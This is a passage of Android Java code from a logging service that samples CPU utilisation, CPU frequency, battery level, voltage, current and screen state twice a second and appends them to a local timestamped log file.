              (now.get(Calendar.MONTH) + 1)
                  + "_"
                  + (now.get(Calendar.DAY_OF_MONTH) + 1)
                  + "_"
                  + now.get(Calendar.HOUR_OF_DAY)
                  + "_"
                  + now.get(Calendar.MINUTE)
                  + "_"
                  + now.get(Calendar.SECOND)
                  + ".txt";
          File log = new File(getExternalFilesDir(null), log_n);

          mOut = null;
          try {
            mOut = new BufferedWriter(new FileWriter(log.getAbsolutePath(), log.exists()));
          } catch (IOException e) {
            Log.e(TAG, "Exception opening log file", e);
            LoggerService.this.stopSelf();
          }

          while (mRunning) {

            try {
              String outputString = "";

              // Get battery data
              IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
              Intent batteryStatus = registerReceiver(null, ifilter);

              // Are we charging / charged? int batStat =
              int level = batteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
              int scale = batteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1);
              float currentVoltage = (float) batteryStatus.getIntExtra("voltage", 0) / 1000;
              float batteryPct = level / (float) scale;

              outputString =
                  String.format(
                      // "%d,%d,%d,%d,%f,%f,%d,%d,%d,%d,%d\n",
                      "%d,%d,%d,%d,%f,%f,%d\n",
                      CPUInfo.getCPUUtilizationPct(),
                      dvfs.getCPUFrequency(),
                      InteractivityService.mActs.size(),
                      CurrentReaderFactory.getValue() * -1,
                      batteryPct,
                      currentVoltage,
                      powMan.isScreenOn() ? 1 : 0);

              date = new Date();
              tstamp = new Timestamp(date.getTime());
              mOut.write(tstamp.toString() + ",");

              mOut.write(outputString);
              SystemClock.sleep(500);

            } catch (IOException e) {
              Log.e(TAG, "Exception appending to log file", e);
            }
          }

          try {
            mOut.close();
          } catch (IOException e) {

          }
          System.out.println("Finished/Done");
          stopForeground(true);
          LoggerService.this.stopSelf();
        }